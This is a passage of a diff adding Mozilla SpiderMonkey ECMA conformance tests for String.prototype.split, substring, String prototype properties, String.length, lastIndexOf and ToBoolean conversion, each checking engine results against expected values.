+ eval("var obj = new Number(Infinity); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") );
+
+new TestCase( SECTION,
+ "var obj = new Number(-1234567890); obj.split = String.prototype.split; obj.split().length",
+ 1,
+ eval("var obj = new Number(-1234567890); obj.split = String.prototype.split; obj.split().length") );
+
+new TestCase( SECTION,
+ "var obj = new Number(-1e21); obj.split = String.prototype.split; obj.split()[0]",
+ "-1e+21",
+ eval("var obj = new Number(-1e21); obj.split = String.prototype.split; obj.split()[0]") );
+
+
+// this is the Math object
+new TestCase( SECTION,
+ "var obj = Math; obj.split = String.prototype.split; typeof obj.split()",
+ "object",
+ eval("var obj = Math; obj.split = String.prototype.split; typeof obj.split()") );
+
+new TestCase( SECTION,
+ "var obj = Math; obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()",
+ "[object Array]",
+ eval("var obj = Math; obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") );
+
+new TestCase( SECTION,
+ "var obj = Math; obj.split = String.prototype.split; obj.split().length",
+ 1,
+ eval("var obj = Math; obj.split = String.prototype.split; obj.split().length") );
+
+new TestCase( SECTION,
+ "var obj = Math; obj.split = String.prototype.split; obj.split()[0]",
+ "[object Math]",
+ eval("var obj = Math; obj.split = String.prototype.split; obj.split()[0]") );
+
+// this is an array object
+new TestCase( SECTION,
+ "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; typeof obj.split()",
+ "object",
+ eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; typeof obj.split()") );
+
+new TestCase( SECTION,
+ "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()",
+ "[object Array]",
+ eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") );
+
+new TestCase( SECTION,
+ "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split().length",
+ 1,
+ eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split().length") );
+
+new TestCase( SECTION,
+ "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split()[0]",
+ "1,2,3,4,5",
+ eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split()[0]") );
+
+// this is a Boolean object
+
+new TestCase( SECTION,
+ "var obj = new Boolean(); obj.split = String.prototype.split; typeof obj.split()",
+ "object",
+ eval("var obj = new Boolean(); obj.split = String.prototype.split; typeof obj.split()") );
+
+new TestCase( SECTION,
+ "var obj = new Boolean(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()",
+ "[object Array]",
+ eval("var obj = new Boolean(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") );
+
+new TestCase( SECTION,
+ "var obj = new Boolean(); obj.split = String.prototype.split; obj.split().length",
+ 1,
+ eval("var obj = new Boolean(); obj.split = String.prototype.split; obj.split().length") );
+
+new TestCase( SECTION,
+ "var obj = new Boolean(); obj.split = String.prototype.split; obj.split()[0]",
+ "false",
+ eval("var obj = new Boolean(); obj.split = String.prototype.split; obj.split()[0]") );
+
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.8-2.js b/js/src/tests/ecma/String/15.5.4.8-2.js
new file mode 100644
index 000000000..158e3a8f2
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.8-2.js
@@ -0,0 +1,213 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.8-2.js
+ ECMA Section: 15.5.4.8 String.prototype.split( separator )
+ Description:
+
+ Returns an Array object into which substrings of the result of converting
+ this object to a string have been stored. The substrings are determined by
+ searching from left to right for occurrences of the given separator; these
+ occurrences are not part of any substring in the returned array, but serve
+ to divide up this string value. The separator may be a string of any length.
+
+ As a special case, if the separator is the empty string, the string is split
+ up into individual characters; the length of the result array equals the
+ length of the string, and each substring contains one character.
+
+ If the separator is not supplied, then the result array contains just one
+ string, which is the string.
+
+ When the split method is called with one argument separator, the following steps are taken:
+
+ 1. Call ToString, giving it the this value as its argument.
+ 2. Create a new Array object of length 0 and call it A.
+ 3. If separator is not supplied, call the [[Put]] method of A with 0 and
+ Result(1) as arguments, and then return A.
+ 4. Call ToString(separator).
+ 5. Compute the number of characters in Result(1).
+ 6. Compute the number of characters in the string that is Result(4).
+ 7. Let p be 0.
+ 8. If Result(6) is zero (the separator string is empty), go to step 17.
+ 9. Compute the smallest possible integer k not smaller than p such that
+ k+Result(6) is not greater than Result(5), and for all nonnegative
+ integers j less than Result(6), the character at position k+j of
+ Result(1) is the same as the character at position j of Result(2);
+ but if there is no such integer k, then go to step 14.
+ 10. Compute a string value equal to the substring of Result(1), consisting
+ of the characters at positions p through k1, inclusive.
+ 11. Call the [[Put]] method of A with A.length and Result(10) as arguments.
+ 12. Let p be k+Result(6).
+ 13. Go to step 9.
+ 14. Compute a string value equal to the substring of Result(1), consisting
+ of the characters from position p to the end of Result(1).
+ 15. Call the [[Put]] method of A with A.length and Result(14) as arguments.
+ 16. Return A.
+ 17. If p equals Result(5), return A.
+ 18. Compute a string value equal to the substring of Result(1), consisting of
+ the single character at position p.
+ 19. Call the [[Put]] method of A with A.length and Result(18) as arguments.
+ 20. Increase p by 1.
+ 21. Go to step 17.
+
+ Note that the split function is intentionally generic; it does not require that its this value be a String
+ object. Therefore it can be transferred to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.8-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.split";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// case where separator is the empty string.
+
+var TEST_STRING = "this is a string object";
+
+new TestCase( SECTION,
+ "var s = new String( "+ TEST_STRING +" ); s.split('').length",
+ TEST_STRING.length,
+ eval("var s = new String( TEST_STRING ); s.split('').length") );
+
+for ( var i = 0; i < TEST_STRING.length; i++ ) {
+
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split('')["+i+"]",
+ TEST_STRING.charAt(i),
+ eval("var s = new String( TEST_STRING ); s.split('')["+i+"]") );
+}
+
+// case where the value of the separator is undefined. in this case,
+// the this value is returned.
+
+var TEST_STRING = "thisundefinedisundefinedaundefinedstringundefinedobject";
+var EXPECT_STRING = new Array( TEST_STRING );
+
+new TestCase( SECTION,
+ "var s = new String( "+ TEST_STRING +" ); s.split(void 0).length",
+ EXPECT_STRING.length,
+ eval("var s = new String( TEST_STRING ); s.split(void 0).length") );
+
+for ( var i = 0; i < EXPECT_STRING.length; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split(void 0)["+i+"]",
+ EXPECT_STRING[i],
+ eval("var s = new String( TEST_STRING ); s.split(void 0)["+i+"]") );
+}
+
+// case where the value of the separator is null. in this case the value of the separator is "null".
+TEST_STRING = "thisnullisnullanullstringnullobject";
+var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" );
+
+new TestCase( SECTION,
+ "var s = new String( "+ TEST_STRING +" ); s.split(null).length",
+ EXPECT_STRING.length,
+ eval("var s = new String( TEST_STRING ); s.split(null).length") );
+
+for ( var i = 0; i < EXPECT_STRING.length; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split(null)["+i+"]",
+ EXPECT_STRING[i],
+ eval("var s = new String( TEST_STRING ); s.split(null)["+i+"]") );
+}
+
+// case where the value of the separator is a boolean.
+TEST_STRING = "thistrueistrueatruestringtrueobject";
+var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" );
+
+new TestCase( SECTION,
+ "var s = new String( "+ TEST_STRING +" ); s.split(true).length",
+ EXPECT_STRING.length,
+ eval("var s = new String( TEST_STRING ); s.split(true).length") );
+
+for ( var i = 0; i < EXPECT_STRING.length; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split(true)["+i+"]",
+ EXPECT_STRING[i],
+ eval("var s = new String( TEST_STRING ); s.split(true)["+i+"]") );
+}
+
+// case where the value of the separator is a number
+TEST_STRING = "this123is123a123string123object";
+var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" );
+
+new TestCase( SECTION,
+ "var s = new String( "+ TEST_STRING +" ); s.split(123).length",
+ EXPECT_STRING.length,
+ eval("var s = new String( TEST_STRING ); s.split(123).length") );
+
+for ( var i = 0; i < EXPECT_STRING.length; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split(123)["+i+"]",
+ EXPECT_STRING[i],
+ eval("var s = new String( TEST_STRING ); s.split(123)["+i+"]") );
+}
+
+
+// case where the value of the separator is a number
+TEST_STRING = "this123is123a123string123object";
+var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" );
+
+new TestCase( SECTION,
+ "var s = new String( "+ TEST_STRING +" ); s.split(123).length",
+ EXPECT_STRING.length,
+ eval("var s = new String( TEST_STRING ); s.split(123).length") );
+
+for ( var i = 0; i < EXPECT_STRING.length; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split(123)["+i+"]",
+ EXPECT_STRING[i],
+ eval("var s = new String( TEST_STRING ); s.split(123)["+i+"]") );
+}
+
+// case where the separator is not in the string
+TEST_STRING = "this is a string";
+EXPECT_STRING = new Array( "this is a string" );
+
+new TestCase( SECTION,
+ "var s = new String( " + TEST_STRING + " ); s.split(':').length",
+ 1,
+ eval("var s = new String( TEST_STRING ); s.split(':').length") );
+
+new TestCase( SECTION,
+ "var s = new String( " + TEST_STRING + " ); s.split(':')[0]",
+ TEST_STRING,
+ eval("var s = new String( TEST_STRING ); s.split(':')[0]") );
+
+// case where part but not all of separator is in the string.
+TEST_STRING = "this is a string";
+EXPECT_STRING = new Array( "this is a string" );
+new TestCase( SECTION,
+ "var s = new String( " + TEST_STRING + " ); s.split('strings').length",
+ 1,
+ eval("var s = new String( TEST_STRING ); s.split('strings').length") );
+
+new TestCase( SECTION,
+ "var s = new String( " + TEST_STRING + " ); s.split('strings')[0]",
+ TEST_STRING,
+ eval("var s = new String( TEST_STRING ); s.split('strings')[0]") );
+
+// case where the separator is at the end of the string
+TEST_STRING = "this is a string";
+EXPECT_STRING = new Array( "this is a " );
+new TestCase( SECTION,
+ "var s = new String( " + TEST_STRING + " ); s.split('string').length",
+ 2,
+ eval("var s = new String( TEST_STRING ); s.split('string').length") );
+
+for ( var i = 0; i < EXPECT_STRING.length; i++ ) {
+ new TestCase( SECTION,
+ "var s = new String( "+TEST_STRING+" ); s.split('string')["+i+"]",
+ EXPECT_STRING[i],
+ eval("var s = new String( TEST_STRING ); s.split('string')["+i+"]") );
+}
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.8-3.js b/js/src/tests/ecma/String/15.5.4.8-3.js
new file mode 100644
index 000000000..91405fe5f
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.8-3.js
@@ -0,0 +1,170 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.8-3.js
+ ECMA Section: 15.5.4.8 String.prototype.split( separator )
+ Description:
+
+ Returns an Array object into which substrings of the result of converting
+ this object to a string have been stored. The substrings are determined by
+ searching from left to right for occurrences of the given separator; these
+ occurrences are not part of any substring in the returned array, but serve
+ to divide up this string value. The separator may be a string of any length.
+
+ As a special case, if the separator is the empty string, the string is split
+ up into individual characters; the length of the result array equals the
+ length of the string, and each substring contains one character.
+
+ If the separator is not supplied, then the result array contains just one
+ string, which is the string.
+
+ When the split method is called with one argument separator, the following steps are taken:
+
+ 1. Call ToString, giving it the this value as its argument.
+ 2. Create a new Array object of length 0 and call it A.
+ 3. If separator is not supplied, call the [[Put]] method of A with 0 and
+ Result(1) as arguments, and then return A.
+ 4. Call ToString(separator).
+ 5. Compute the number of characters in Result(1).
+ 6. Compute the number of characters in the string that is Result(4).
+ 7. Let p be 0.
+ 8. If Result(6) is zero (the separator string is empty), go to step 17.
+ 9. Compute the smallest possible integer k not smaller than p such that
+ k+Result(6) is not greater than Result(5), and for all nonnegative
+ integers j less than Result(6), the character at position k+j of
+ Result(1) is the same as the character at position j of Result(2);
+ but if there is no such integer k, then go to step 14.
+ 10. Compute a string value equal to the substring of Result(1), consisting
+ of the characters at positions p through k1, inclusive.
+ 11. Call the [[Put]] method of A with A.length and Result(10) as arguments.
+ 12. Let p be k+Result(6).
+ 13. Go to step 9.
+ 14. Compute a string value equal to the substring of Result(1), consisting
+ of the characters from position p to the end of Result(1).
+ 15. Call the [[Put]] method of A with A.length and Result(14) as arguments.
+ 16. Return A.
+ 17. If p equals Result(5), return A.
+ 18. Compute a string value equal to the substring of Result(1), consisting of
+ the single character at position p.
+ 19. Call the [[Put]] method of A with A.length and Result(18) as arguments.
+ 20. Increase p by 1.
+ 21. Go to step 17.
+
+ Note that the split function is intentionally generic; it does not require that its this value be a String
+ object. Therefore it can be transferred to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.8-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.split";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = "";
+var EXPECT = new Array();
+
+// this.toString is the empty string.
+
+new TestCase( SECTION,
+ "var s = new String(); s.split().length",
+ 1,
+ eval("var s = new String(); s.split().length") );
+
+new TestCase( SECTION,
+ "var s = new String(); s.split()[0]",
+ "",
+ eval("var s = new String(); s.split()[0]") );
+
+// this.toString() is the empty string, separator is specified.
+
+new TestCase( SECTION,
+ "var s = new String(); s.split('').length",
+ 0,
+ eval("var s = new String(); s.split('').length") );
+
+new TestCase( SECTION,
+ "var s = new String(); s.split(' ').length",
+ 1,
+ eval("var s = new String(); s.split(' ').length") );
+
+// this to string is " "
+new TestCase( SECTION,
+ "var s = new String(' '); s.split().length",
+ 1,
+ eval("var s = new String(' '); s.split().length") );
+
+new TestCase( SECTION,
+ "var s = new String(' '); s.split()[0]",
+ " ",
+ eval("var s = new String(' '); s.split()[0]") );
+
+new TestCase( SECTION,
+ "var s = new String(' '); s.split('').length",
+ 1,
+ eval("var s = new String(' '); s.split('').length") );
+
+new TestCase( SECTION,
+ "var s = new String(' '); s.split('')[0]",
+ " ",
+ eval("var s = new String(' '); s.split('')[0]") );
+
+new TestCase( SECTION,
+ "var s = new String(' '); s.split(' ').length",
+ 2,
+ eval("var s = new String(' '); s.split(' ').length") );
+
+new TestCase( SECTION,
+ "var s = new String(' '); s.split(' ')[0]",
+ "",
+ eval("var s = new String(' '); s.split(' ')[0]") );
+
+new TestCase( SECTION,
+ "\"\".split(\"\").length",
+ 0,
+ ("".split("")).length );
+
+new TestCase( SECTION,
+ "\"\".split(\"x\").length",
+ 1,
+ ("".split("x")).length );
+
+new TestCase( SECTION,
+ "\"\".split(\"x\")[0]",
+ "",
+ ("".split("x"))[0] );
+
+test();
+
+function Split( string, separator ) {
+ string = String( string );
+
+ var A = new Array();
+
+ if ( arguments.length < 2 ) {
+ A[0] = string;
+ return A;
+ }
+
+ separator = String( separator );
+
+ var str_len = String( string ).length;
+ var sep_len = String( separator ).length;
+
+ var p = 0;
+ var k = 0;
+
+ if ( sep_len == 0 ) {
+ for ( ; p < str_len; p++ ) {
+ A[A.length] = String( string.charAt(p) );
+ }
+ }
+ return A;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.9-1.js b/js/src/tests/ecma/String/15.5.4.9-1.js
new file mode 100644
index 000000000..329600bf8
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.9-1.js
@@ -0,0 +1,166 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.9-1.js
+ ECMA Section: 15.5.4.9 String.prototype.substring( start )
+ Description:
+
+ 15.5.4.9 String.prototype.substring(start)
+
+ Returns a substring of the result of converting this object to a string,
+ starting from character position start and running to the end of the
+ string. The result is a string value, not a String object.
+
+ If the argument is NaN or negative, it is replaced with zero; if the
+ argument is larger than the length of the string, it is replaced with the
+ length of the string.
+
+ When the substring method is called with one argument start, the following
+ steps are taken:
+
+ 1.Call ToString, giving it the this value as its argument.
+ 2.Call ToInteger(start).
+ 3.Compute the number of characters in Result(1).
+ 4.Compute min(max(Result(2), 0), Result(3)).
+ 5.Return a string whose length is the difference between Result(3) and Result(4),
+ containing characters from Result(1), namely the characters with indices Result(4)
+ through Result(3)1, in ascending order.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.4.9-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.substring( start )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.substring.length", 2, String.prototype.substring.length );
+
+// test cases for when substring is called with no arguments.
+
+// this is a string object
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); typeof s.substring()",
+ "string",
+ eval("var s = new String('this is a string object'); typeof s.substring()") );
+
+new TestCase( SECTION,
+ "var s = new String(''); s.substring()",
+ "",
+ eval("var s = new String(''); s.substring()") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring()",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring()") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(NaN)",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring(NaN)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(-0.01)",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring(-0.01)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(s.length)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(s.length)") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(s.length+1)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(s.length+1)") );
+
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(Infinity)",
+ "",
+ eval("var s = new String('this is a string object'); s.substring(Infinity)") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.substring(-Infinity)",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.substring(-Infinity)") );
+
+// this is not a String object, start is not an integer
+
+
+new TestCase( SECTION,
+ "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring()",
+ "1,2,3,4,5",
+ eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring()") );
+
+new TestCase( SECTION,
+ "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true)",
+ ",2,3,4,5",
+ eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring(true)") );
+
+new TestCase( SECTION,
+ "var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4')",
+ "3,4,5",
+ eval("var s = new Array(1,2,3,4,5); s.substring = String.prototype.substring; s.substring('4')") );
+
+new TestCase( SECTION,
+ "var s = new Array(); s.substring = String.prototype.substring; s.substring('4')",
+ "",
+ eval("var s = new Array(); s.substring = String.prototype.substring; s.substring('4')") );
+
+// this is an object object
+new TestCase( SECTION,
+ "var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8)",
+ "Object]",
+ eval("var obj = new Object(); obj.substring = String.prototype.substring; obj.substring(8)") );
+
+// this is a function object
+new TestCase( SECTION,
+ "var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8)",
+ "Function]",
+ eval("var obj = new Function(); obj.substring = String.prototype.substring; obj.toString = Object.prototype.toString; obj.substring(8)") );
+// this is a number object
+new TestCase( SECTION,
+ "var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(false)",
+ "NaN",
+ eval("var obj = new Number(NaN); obj.substring = String.prototype.substring; obj.substring(false)") );
+
+// this is the Math object
+new TestCase( SECTION,
+ "var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI)",
+ "ject Math]",
+ eval("var obj = Math; obj.substring = String.prototype.substring; obj.substring(Math.PI)") );
+
+// this is a Boolean object
+
+new TestCase( SECTION,
+ "var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array())",
+ "false",
+ eval("var obj = new Boolean(); obj.substring = String.prototype.substring; obj.substring(new Array())") );
+
+// this is a user defined object
+
+new TestCase( SECTION,
+ "var obj = new MyObject( null ); obj.substring(0)",
+ "null",
+ eval( "var obj = new MyObject( null ); obj.substring(0)") );
+
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.substring = String.prototype.substring;
+ this.toString = new Function ( "return this.value+''" );
+}
diff --git a/js/src/tests/ecma/String/15.5.4.js b/js/src/tests/ecma/String/15.5.4.js
new file mode 100644
index 000000000..0e17afba8
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.js
@@ -0,0 +1,74 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.js
+ ECMA Section: 15.5.4 Properties of the String prototype object
+
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.5.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the String Prototype objecta";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "String.prototype.getClass = Object.prototype.toString; String.prototype.getClass()",
+ "[object String]",
+ eval("String.prototype.getClass = Object.prototype.toString; String.prototype.getClass()") );
+
+delete String.prototype.getClass;
+
+new TestCase( SECTION,
+ "typeof String.prototype",
+ "object",
+ typeof String.prototype );
+
+new TestCase( SECTION,
+ "String.prototype.valueOf()",
+ "",
+ String.prototype.valueOf() );
+
+new TestCase( SECTION,
+ "String.prototype +''",
+ "",
+ String.prototype + '' );
+
+new TestCase( SECTION,
+ "String.prototype.length",
+ 0,
+ String.prototype.length );
+
+var prop;
+var value;
+
+value = '';
+for (prop in "")
+{
+ value += prop;
+}
+new TestCase( SECTION,
+ 'String "" has no enumerable properties',
+ '',
+ value );
+
+value = '';
+for (prop in String.prototype)
+{
+ value += prop;
+}
+new TestCase( SECTION,
+ 'String.prototype has no enumerable properties',
+ '',
+ value );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.5.1.js b/js/src/tests/ecma/String/15.5.5.1.js
new file mode 100644
index 000000000..9c9f8798b
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.5.1.js
@@ -0,0 +1,54 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.5.1
+ ECMA Section: String.length
+ Description:
+
+ The number of characters in the String value represented by this String
+ object.
+
+ Once a String object is created, this property is unchanging. It has the
+ attributes { DontEnum, DontDelete, ReadOnly }.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "15.5.5.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.length";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var s = new String(); s.length",
+ 0,
+ eval("var s = new String(); s.length") );
+
+new TestCase( SECTION,
+ "var s = new String(); s.length = 10; s.length",
+ 0,
+ eval("var s = new String(); s.length = 10; s.length") );
+
+new TestCase( SECTION,
+ "var s = new String(); var props = ''; for ( var p in s ) { props += p; }; props",
+ "",
+ eval("var s = new String(); var props = ''; for ( var p in s ) { props += p; }; props") );
+
+new TestCase( SECTION,
+ "var s = new String(); delete s.length",
+ false,
+ eval("var s = new String(); delete s.length") );
+
+new TestCase( SECTION,
+ "var s = new String('hello'); delete s.length; s.length",
+ 5,
+ eval("var s = new String('hello'); delete s.length; s.length") );
+
+test();
diff --git a/js/src/tests/ecma/String/browser.js b/js/src/tests/ecma/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/String/browser.js
diff --git a/js/src/tests/ecma/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js b/js/src/tests/ecma/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js
new file mode 100644
index 000000000..a4c3c316e
--- /dev/null
+++ b/js/src/tests/ecma/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var str = "a";
+var searchStr = "abc";
+
+var position = new Object();
+var valueOfCalled = false;
+function positionValueOf() {
+ assertEq(valueOfCalled, false);
+ valueOfCalled = true;
+ return 0;
+}
+position.valueOf = positionValueOf;
+
+var result = str.lastIndexOf(searchStr, position);
+assertEq(result, -1);
+assertEq(valueOfCalled, true);
+
+if (typeof reportCompare == "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma/String/shell.js b/js/src/tests/ecma/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/String/shell.js
diff --git a/js/src/tests/ecma/TypeConversion/9.2.js b/js/src/tests/ecma/TypeConversion/9.2.js
new file mode 100644
index 000000000..16a72f89e
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.2.js
@@ -0,0 +1,103 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.2.js
+ ECMA Section: 9.2 Type Conversion: ToBoolean
+ Description: rules for converting an argument to a boolean.
+ undefined false
+ Null false
+ Boolean input argument( no conversion )
+ Number returns false for 0, -0, and NaN
+ otherwise return true
+ String return false if the string is empty
+ (length is 0) otherwise the result is
+ true
+ Object all return true
+
+ Author: christine@netscape.com
+ Date: 14 july 1997
+*/
+var SECTION = "9.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "ToBoolean";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// special cases here
+
+new TestCase( SECTION, "Boolean()", false, Boolean() );
+new TestCase( SECTION, "Boolean(var x)", false, Boolean(eval("var x")) );
+new TestCase( SECTION, "Boolean(void 0)", false, Boolean(void 0) );
+new TestCase( SECTION, "Boolean(null)", false, Boolean(null) );
+new TestCase( SECTION, "Boolean(false)", false, Boolean(false) );
+new TestCase( SECTION, "Boolean(true)", true, Boolean(true) );
+new TestCase( SECTION, "Boolean(0)", false, Boolean(0) );
+new TestCase( SECTION, "Boolean(-0)", false, Boolean(-0) );
+new TestCase( SECTION, "Boolean(NaN)", false, Boolean(Number.NaN) );
+new TestCase( SECTION, "Boolean('')", false, Boolean("") );
+
+// normal test cases here
+
+new TestCase( SECTION, "Boolean(Infinity)", true, Boolean(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "Boolean(-Infinity)", true, Boolean(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "Boolean(Math.PI)", true, Boolean(Math.PI) );
+new TestCase( SECTION, "Boolean(1)", true, Boolean(1) );
+new TestCase( SECTION, "Boolean(-1)", true, Boolean(-1) );
+new TestCase( SECTION, "Boolean([tab])", true, Boolean("\t") );
+new TestCase( SECTION, "Boolean('0')", true, Boolean("0") );
+new TestCase( SECTION, "Boolean('string')", true, Boolean("string") );
+
+// ToBoolean (object) should always return true.
+new TestCase( SECTION, "Boolean(new String() )", true, Boolean(new String()) );
+new TestCase( SECTION, "Boolean(new String('') )", true, Boolean(new String("")) );
+
+new TestCase( SECTION, "Boolean(new Boolean(true))", true, Boolean(new Boolean(true)) );
+new TestCase( SECTION, "Boolean(new Boolean(false))", true, Boolean(new Boolean(false)) );
+new TestCase( SECTION, "Boolean(new Boolean() )", true, Boolean(new Boolean()) );
+
+new TestCase( SECTION, "Boolean(new Array())", true, Boolean(new Array()) );
+
+new TestCase( SECTION, "Boolean(new Number())", true, Boolean(new Number()) );
+new TestCase( SECTION, "Boolean(new Number(-0))", true, Boolean(new Number(-0)) );
+new TestCase( SECTION, "Boolean(new Number(0))", true, Boolean(new Number(0)) );
+new TestCase( SECTION, "Boolean(new Number(NaN))", true, Boolean(new Number(Number.NaN)) );
+
+new TestCase( SECTION, "Boolean(new Number(-1))", true, Boolean(new Number(-1)) );
+new TestCase( SECTION, "Boolean(new Number(Infinity))", true, Boolean(new Number(Number.POSITIVE_INFINITY)) );
+new TestCase( SECTION, "Boolean(new Number(-Infinity))",true, Boolean(new Number(Number.NEGATIVE_INFINITY)) );
+
